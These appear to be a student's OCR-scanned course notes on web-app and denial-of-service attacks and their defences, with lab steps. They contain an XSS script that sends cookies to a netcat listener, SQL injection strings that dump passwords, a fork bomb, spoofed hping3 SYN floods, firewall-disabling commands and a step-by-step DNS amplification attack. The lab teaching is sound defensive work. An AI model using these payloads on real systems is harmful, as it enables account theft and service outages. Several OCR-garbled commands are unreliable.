— Microsoft’s free Anti-XSS library for ASP .NET code encodes all output not included in a specific whitelist before sending it to browsers to prevent XSS attacks  
• Your best bet: Define characters that are ok (alpha and numeric), and filter everything else out; a white list approach.  
• Again, ModSecurity for Apache, 118 and Nginx includes such filtering capabilities.  
  
Client Defenses: Preparation:  
  
• To defend clients, disable scripting, or use browser features to selectively control scripts:  
\* NoScript Firefox extension at http://noscript.net  
  
• Selectively allows JavaScript, Java, Flash, and other plugins to be invoked only by certain tiusted websites  
• Also includes anti-XSS capabilities, looking for suspicious scripting activity and blocking it  
— IE 8 and later include a built-in X$S filter:  
  
• looks for JavaScript included in URLs or HTTP POST variables.  
• When it finds such elements, IF analvies whether they are potentially dangerous, and, if so, it neuters them by filtering out elements of the script  
• The user is alerted when suspicious scripts are detected and filtered  
• Recent versions of Google’s Chrome browser includes an XSS filter as well  
  
Identification:  
— IDS and/or logs showing user input with embedded scripts  
— Watch for encoded information (Hex, Unicode, etc.)  
• Containment:  
— Add a filter to incoming data  
• Eradication:  
— Remove attacker's data and/or transactions  
• Recovery:  
— Contact antifraud  
 group.  
  
  
  
Lab: XSS and SQLi:  
  
Now that we have talked about Cross-Site Scripting and SQL Injection, let’s do both in a lab  
• There is a simple web server on the class Linux VM that is vulnerable to XS$ and $QLi  
• In this lab, you discover those vulnerabilities and then exploit them:  
  
Lab: XSS and SQLi  
— To steal a cookie with XSS  
- To dump passwords with SQL Injection  
• The goal of these labs is for you to have a portable XSS and SQLi lab to play with to get familiar with how these attacks work  
• It is also useful for the Day 6 CTF  
  
  
  
1. Identify an XSS vulnerability by generating an alert  
2. Take advantage of the discovered XSS vulnerability to steal a cookie  
3. Identify the SQL Injection vulnerability by generating an error  
4. Attack the web app through SQLi to dump all e-mail addresses from the app’s database  
5. Attack the server through $QLi to dump the administrator's password hash!  
  
Lab:  
#service mysql start  
#cd /home/sec560/CourseFiles/504\_Web\_App\_Lab  
#./lab\_start.sh  
  
(starting the servers, for Cross-Site Scripting Page ('Leave a comment' section vulnerability) and SQL Injection page ('Contact US (Email Search); section vulnerability).  
  
  
Analyze the attack with the browser cache  
about:cache  
  
  
Exploiting XSS:  
  
nc -v -l -p 2222  
  
  
<script>document.location='http://127.0.0.1:2222/grab.cgi?‘+document.cookie;</script>  
  
  
Step 0: $cd /home/tools/nikto-2.1.2  
  
Then you need to start Nikto and have it create a single response.  
  
Step l:$perl ./nikto.pl —Single  
Note that Single is initial-capped.  
  
enter  
’ or ‘1'='1  
in the username field.   
  
admin' union select password from users where username=’admin’ ;——  
  
  
###################  
Browsers and add-ons for manipulating HTTP requests:  
Also, some commercial tools implement specific web scanners that look for cookies, hidden form elements, and URLs that can be manipulated. Vulnerability scanners are focused on web applications specifically. Specialized Browsers for Manipulating Data requests:  
— Tamper Data: free firefox plug-in for manipulating numerous aspects of HTTP requests:  
https: //addons.mozilla.org/en-US/firefox/addon/966  
  
— firebug: Firefox web page and script editor and development tool:   
http://getfirebug.com/  
  
- Add N Edit Cookies: Free Firefox plug-in:  
https : //addons.mozi11a org/enUS/firefox/addon/573  
  
Use BurpSuite and Zap!  
  
• You can view and edit anything that’s passed to the browser  
• Account numbers  
• Balances  
• Some shopping carts pass price info to browser:  
    — And the web app trusts whatever comes back!!  
• Cranky customer indicators  
Any variable passed to the browser can be altered by the user unless the application performs some integrity check.  
  
  
Web Application Defenses: Preparation with WAF  
• Defenders can play the proxy game, too  
• Often called a Web Application Firewall (WAF):  
— Proxy monitors state elements and other inbound data that are passed to or from web app  
— If state elements that should be static come back altered, the proxy resets them and rings bells and whistles  
— Likewise, if SQL injection, XSS, or other attacks are detected, they can be filtered  
— SecureSphere Web Application Firewall  
— Citrix NetScaler App Firewall  
— F5 Application Security Manager (ASM)  
— free OWASP Stinger (focuses on input filtering)  
— free ModSecurity offers similar protections; although it is not a proxy  
  
• Identification:  
— Users complaining of account usurpation  
• Containment:  
- Strongly advise shutting down app while it gets fixed  
— Otherwise, quarantine accounts that have fallen victim  
• Eradication:  
- Remove attacker's data from victim accounts  
• Recovery:  
— Careftilly restore accounts and reset passwords for victim users  
- Monitor these accounts carefully  
  
  
##########################

4.6 Denial of Service Attacks  
category of Denial of Service Attack  
  
Local DDos:  
  
        Stopping Services        Exhausting Resources  
Locally        Process Killing            Spawning processes to fill the process table  
        Process crashing        Filling up the whole file system  
        System reconfigure  
  
Remotely    Malformed packet attack        Packet floods (eg: Smurf and Syn Flood DDoS)  
(across the    (eg: bonk, WinNuke, and  
network)    teardrop)  
  
  
  
DNS Amplification Attack:  
  
Send a small spoofed DNS query to servers DNS servers:  
- and receive a large DNS response back to the target  
  
Enter EDNS, it's a DNS query that can specify a larger buffer (> 512 bytes) for the response.  
a set of Extension Mechanisms for DNS, described in RFC 2671. Some of these options allow DNS responses to be larger than 512 bytes and still use UDP, provided that the requester indicates that it can handle such large responses in the DNS query.  
  
CpuHog sets it priority level to i6, the highest for a user mode application in Windows:  
— To see a list of process priorities, you could run:  
  
C:\> wmic process get naxne, priority  
• Windows respond by setting the priority for all other applications to 15  
  
You can also locally DoS a Linux system with a fork bomb:  
:(){:|:&};:  
  
  
• First, attacker finds several DNS servers configured to support recursive lookups from anywhere  
• Second, the attacker queries those servers for a DNS name the attacker owns  
• Third, attacker responds to query with a 4,000-byte TXT record  
• Fourth, with the poison cached, the attacker spoofs DNS requests for that record using the source address of the target  
• These responses flood the victim  
To achieve this attack, the bad folks first locate several DNS servers that can perform recursive lookups on  
behalf of anyone on the Internet. (A large majority of DNS servers have this configuration in the wild.) Next, the  
attacker sends queries to those servers for a DNS record that the attacker controls on the attackers own DNS  
server. Because they are configured for recursion, these DNS servers send the request back to the attacker, who  
responds with a 4,000-byte TXT record, which will be cached in the DNS servers that will be used for  
amplification.  
Next, now that the attacker has loaded the large record into the DNS server’s cache (for a long Time-To-Live. of  
course), the attacker proceeds to send DNS query messages (with EDNS options for large responses enabled, of  
course) to these servers, spoofing the address that the attacker wants to flood. These DNS servers respond with  
the 4,000-byte TXT record, sending this UDP packet to the victim. The victim is inundated with many of such  
packets, in a massive flood.  
  
  
In Step 1, the bad folks first locate several DNS servers that perform recursive lookups on behalf of anyone on the Internet. (A large majority of DNS servers have this configuration in the wild.) The attacker sends queries to those servers for a DN$ record that the attacker controls on the attacker’s own DNS server.  
In Step 2, because they are configured for recursion, these DNS servers send the request back to the attacker.  
In Step 3, the attacker responds with a 4,000-byte TXT record, which is cached in the DNS servers used for amplification in Step 4.  
  
In Step 5, now that the attacker has loaded the large record into the DNS servers cache (for a long Time-To  
Live, of course), the attacker proceeds to send DNS query messages (with EDNS options for large responses  
enabled, of course) to these servers, spoofing the address that the attacker wants to flood.  
In Step 6, these DNS servers respond with the 4,000-byte TXT record, sending this UDP packet to the victim.  
The victim is inundated with many of such packets, in a massive flood, as the attacker repeats Steps 5 and 6  
again and again. Keep in mind that this process is repeated with hundreds or thousands of DNS servers,  
inundating the victim with a massive flood.  
  
Bot DoS Suites:  
- often rely on sending unexpected garbage packets, buffer overflows, or unaligned/large fragments.  
  
• Instead of launching each one of these individual attacks against a target, attackers have rolled together a bunch of individual DoS exploits together into a DoS suite  
• Try all the different attacks, just to see if one crashes the target Several examples at http://www.packetstormsecurity.org/DoS  
• Many bots support multiple different DoS attacks  
  
  
  
DDoS:  
• Instead of using one or a small number of machines to launch a flood, an attacker could use a large number of compromised machines  
• The result is Distributed Denial of Service  
• In the past, attackers relied on specialized DDoS tools:  
— Tribe flood Network (TFN) and Tribe Flood Network 2ooo (TFN2K)  
• Today, DDoS is usually launched using a botnet:  
- Major regular attacks against ILS. banks in 2012, 2013, and 2014  
  
Reflected DDoS attacks:  
- using the TCP three-way handshake, an attacker can bounce a flood from the zombie to the victim.  
- zombie sends a SYN to a legitimate site:  
Major www service.  
Core router.  
Others.  
- legitimate site sends a SYN-ACK to flood the victim.  
- makes tracing the attack even more difficult.  
  
  
Pulsing Zombies:  
- to make investigations even more difficult, new tools implement pulsing zombies.  
- each zombie floods the target for a short while (minutes), and then goes dormant for awhile.  
- with a lot of zombies, the flood is still effective.  
- tracing back an active attack is easier:  
Call the ISP and have them step back router-by-router and ISP-by-ISP to find the flooding agent. A laborious process.  
- when zombies go silent, it is more difficult to locate them!  
  
Evolution of the Flood:  
- Move from SYN floods to HTTP floods  
SYN Floods: typically spoofed.  
Focused on sucking up bandwidth or connection queue with bogus traffic.  
Easier for ISPs to block by looking for abnormal traffic patterns.  
  
HTTP floods:  
- complete three-way handshake and send HTTP GET for common page, such as index.html  
- much harder for differentiate from normal traffic.  
  
  
Low Orbit Ion Canon (LOIC) supports TCP connection floods, UDP floods, or HTTP Floods (most common):  
- runs on Windows, Linux and Android.  
- also, available as simple JavaScript, surf to a web page and browser starts attacking a target.  
- controlled by users or can get a list of targets from an IRC channel or Twitter using HIVE MIND feature; useful for quickly controlling volunteers in politically motivated floods.  
  
- more recently, Anonymous has used an improved version of LOIC called the High Orbin Ion Cannon. Easier-to-use interface. Multithreaded to generate more traffic quicker. Support for customizable JavaScript scripts to access not just a single page on a website, but also instead numerous different pages.  
  
Defenses: Preparation:  
- to prevent yourself from becoming a DDoS agent  
- for  your Internet-accessible systems, install host-based IDS and IPS to prevent attackers from gaining root or SYSTEM.  
- keep systems patches.  
- utilize antivirus tools to prevent installation and promote detection.  
- EGRESS antispoof filters (extremely important!).  
  
  
• To prevent being a denial-of-service victim:  
— Design critical business systems with adequate redundancy  
• Identification:  
— Massive flood of packets  
— for large scale networks (ISP-sized or big WANs), automated DDoS detection and throttling tools:  
• Arbor Networks’ Peakflow: http://wwv.arbornetworkscom  
• Riverbed NetProfiler  
• Neustar SiteProtect: (http://www.neustar.biz/services/ddos-protection)  
• CloudFlare: https://www.cloudflare.com/  
  
• Containment:  
- Get ready to marshal the incident response team of your ISP  
  
• Erad, Recov: N/A  
  
  
Lab: Counting Resources to Evaluate DoS Attacks:  
  
• Now conduct a lab to analyze resource-exhaustion denial-of-service attacks on Windows and Linux  
  
• To accomplish this, use some commands to count the number of various items:  
— If you know the “normal” amount of a given item for a server, you can use these techniques to look for anomalies   
  
• As incident handlers, we are sometimes called in to determine whether a denial-of-service attack is underway  
— The techniques covered in this lab help determine whether this is the case  
  
  
On Windows, you can count the number of lines of output that contain [text] with:  
C:\> [command) | find /i /c "[text]”  
  
• Alternatively, on Windows, you can count the number of lines of any output by running;  
C:\> [command] | find /C /v ""  
  
• On Linux, you can count the number of lines of output with:  
$ [command] | grep —i —c [text]  
  
• Alternatively, on Linux, you can count the number of lines of any output by running;  
$ [command] | wc -l  
  
  
Lab Flow:  
Windows:  
— 1) Count processes with a given name  
— 2) Count half-open connections to a given port under a SYN flood  
3) Count full-open connections to a given port under a connection flood  
• Linux:  
— 4) Count processes with a given name  
— 5) Count half-open connections to a given port under a SYN flood  
- 6) Count full-open connections to a given port under a connection flood  
  
• Remember the goal of the lab; it’s not about how to launch DoS attacks; it is about how to count resources to help recognize such attacks.  
  
• To start, make sure you can ping Windows from Linux and vice versa, using host-only networking:  
- In Linux: $ ping [WindowslpAddr]  
— In Windows:c:\> ping [LinuxlPAddr]  
  
• DISABLE YOUR LINUX FIREWALL  
#iptables -F  
  
• DISABLE YOUR WINDOWS FIREWALL  
C:\> netsh firewall set opmode disable  
C:\ netsh advfirewall set allprofiles state off (For Windows 8+ syssems)  
  
1) Counting Running Processes in Windows (I):  
• In this component of the lab, explore how to count processes of a given name:  
— An attacker may launch processes to overwhelm a system  
• Experiment with notepadexe  
• Use a FOR loop to spawn 20 notepad&s  
• Use the Windows tasklist command to list processes and the find command to count them  
  
1) Counting Running Processes in Windows (2):  
  
tasklist | find /i /C “notepad.exe”  
0  
  
notepad.exe  
  
tasklist |  find /i /c “notepad.exe”  
1  
  
for /L %i in (1,1,20) do @notepad.exe  
  
tasklist | find /i /c “notepad.exe”  
  
wmic process where name=”notepad.exe” delete  
  
######################  
Choose a listening port on your Windows machine that you can bombard with SYN packets:  
\> netstat —na | find /i “listening”  
On most Windows machines, 445 is a useful option.  
  
• Do not use a Netcat listener because it is not persistent (even with the —L option, it still closes the port before it starts relistening)  
  
Use the netstat and find commands to count half-open connections (in the “SYN\_RECEIVED” state)  
  
• Launch SYN packets from Linux to Windows using the packet-crafting tool hping on Linux  
  
To make this work, use a spoofed source address for the SYN packets.  
  
For this component of the lab, start in Step A by counting the number of half-open connections you have on port 445 ofour Windows machine:  
  
C:\> netstat —na | find “445” | find /i /c “syn received”  
  
You likely do not see half-open connections because we haven’t started the attack yet.  
Then, in Step B, use hping on Linux to launch 20 (--count 20) SYN packets (--syn) spoofing the source address of 10.10.11.11 (--spoof 10.10.11.11) to destination port 445 (-p 445) on your Windows machine. Hping by default sends one packet per second.  
  
# hping3 --syn ---count 20 --spoof 10.10.11.11 —p 445 [Windowslpaddr] <--  
Should be 10.10.0.1  
  
In Step C, as hping is running, rerun your netstat command to count the half-open connections on Windows.  
Simply press the Up arrow key and Enter to rerun it. You should see the number of half-open connections ratcheting upward as hping runs:  
C:\> netstat —na | find “445” | find /i /c “syn\_received”  
  
After hping is done, the half-open connections gradually start to time out, eventually returning to 0.  
  
Counting Full-Open Connections in Windows:  
  
  
  
- use a small shell script on Linux to launch full-open connections with a Windows target using Netcat.  
  
#gedit /home/tools/504\_Dos\_ex/connect.sh  
  
  
root@slingshot# /home/tools/504\_Dos\_ex/connect.sh  
  
  
- on Windows see how many 'established' sessions you get with the command:  
  
c:\> netstat -na | find "445" | find /i /c "established"  
20  
  
  
  
Counting Running Processes in Linux:  
- experiment with xeyes, a simple GUI application.  
- use a script with a simple while look to spawn 20 xeyes:  
  
review the script:  
#gedit /home/tools/504\_DoS\_ex/xeyes\_loop.sh  
  
#ps aux | grep xeyes  
  
#ps aux | grep -c xeyes  
  
#/home/tools/504\_DoS\_ex/xeyes\_loop.sh  
  
#ps aux | grep -c xeyes  
  
#killall -9 xeyes  
#ps aux | grep -c xeyes  
  
  
  
Counting half-open connections in Linux  
- choose a listening port on your Linux machine that you can bombard with SYN packets:  
#systemctl start sshd.service  
#netstat -nat | grep -i listen  
  
On the course VMware image, TCP 22 is a useful option  
• Do not use a Netcat listener because it is not persistent  
• Use the netstat and grep commands to count half-open connections (in the “SYNRECV” state)  
• Launch SYN packets from Linux to Linux using the packet crafting tool hping on Linux  
• To make this work, use a spoofed source address for the SYN packets of 10.10.11.11:  
- But, on Linux, it won’t go into the half-open state for long unless it can get ARP information about 10.10.11.11.  
— Thus, preload the ARP cache using the arp —S command  
  
  
#arp -s 10.10.11.11 01:02:03:04:05:06  
  
#hping3 --syn --count 20 --spoof 10.10.11.11 -p 22 10.10.75.1  
  
- in another shell windows type:  
#netstat -na | grep 22 |grep -i -c syn\_recv  
  
#systemctl restart sshd.service  
#netstat -na |grep 22 |grep -i -c syn\_recv  
  
  
  
On Windows, use a FOR loop to invoke Netcat to make full-Opefl connections against Linux  
• Count the number of full open connections using netstat and the grep command to look for connections in the “ESTABLISHED” state  
  
c:\> for /L %i in (1,1,20) do @start c:\tools\netcat\nc 10.10.75.1 22  
  
  
In Linux do a nestat command like so:  
  
#netstat -na | grep 22 |grep -i -c established  
  
- retype the command above a few times and notice the count result increase.  
  
#systemctl restart sshd.service  
  
#netstat -na | grep 22 |grep -i -c established  
  
#killall -9 sshd  
  
#systemctl start sshd.service  
#netstat -na | grep 22 | grep -i -c established  
  
  
  
###############################